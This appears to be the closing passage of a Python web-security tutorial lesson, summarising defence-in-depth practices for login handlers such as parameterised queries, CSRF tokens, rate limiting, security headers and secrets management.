Notice the layering: no single fix would be enough. Parameterising SQL while leaking enumeration is still a phishing-list generator. Adding rate limit without fixing the SQL injection still means one cleverly-crafted request bypasses everything. The defences compound — each cuts one attack class — and security comes from the union.
What's still missing for full production-grade:
- MFA for high-value accounts.
- Login-anomaly detection (new device, new location → email the user).
- Password breach check — Have I Been Pwned's k-anonymity API blocks signups using known-leaked passwords.
- Lockout policy for repeated failures from the same account across IPs.
- Logging — every success and failure to your auth log; nothing to STDOUT containing passwords.
But the diff above is the realistic from-broken-to-defensible pass. Run it as a code review checklist on any login handler you inherit.
What You Learned
- Parameterise queries. Never concatenate user input into SQL or shell commands.
shell=True+ user input is RCE. - One generic error on auth failures, with timing equalised via dummy hash. Don't enumerate accounts.
- HTTPS + HSTS + Secure cookies. Encrypt at-rest the fields that need it (
cryptography.Fernet). defusedxmlfor any XML from untrusted sources; never rawxml.etree.- Scope every query by current user. IDOR is the most common access-control bug. Return 404, not 403, to avoid leaking existence.
- No
DEBUG=Truein production. Werkzeug/Django debug pages are remote shells. - Auto-escape templates;
|safeonly on already-sanitised HTML. Nevereval()user input. CSP as defence-in-depth. - Never
pickle.loaduntrusted data — arbitrary code execution. JSON or Pydantic. pip-auditin CI, automatic dependency updates via Dependabot/Renovate.- Log auth events; never log passwords or tokens. Have an incident response plan.
- CSRF tokens for cookie-auth forms. Bearer-token APIs don't need CSRF but need other defences.
- Rate limit login, signup, password reset, anything expensive —
flask-limiter,slowapi,django-ratelimit. - Security headers: HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy. Set with
flask-talismanor equivalent. Check via Mozilla Observatory. - Validate at boundaries with Pydantic/forms. Server-side only — client validation is for UX.
- Secrets in a manager, not the repo. Locally
.env, in production AWS Secrets Manager / Vault / GCP Secret Manager.
That closes the Auth & Security path. The pattern across all four lessons: defence-in-depth. Hashing without rate-limiting still loses to a patient attacker. Rate-limiting without CSRF still loses to a logged-in user clicking a link on evil.com. Each layer cuts one attack class; security is the union.
Next path: continue with the deeper databases coverage, or the devops-github-actions lessons that automate the security tooling (pip-audit, secret scanning, Dependabot) into your CI pipeline so the checks above run on every PR — not just when you remember to.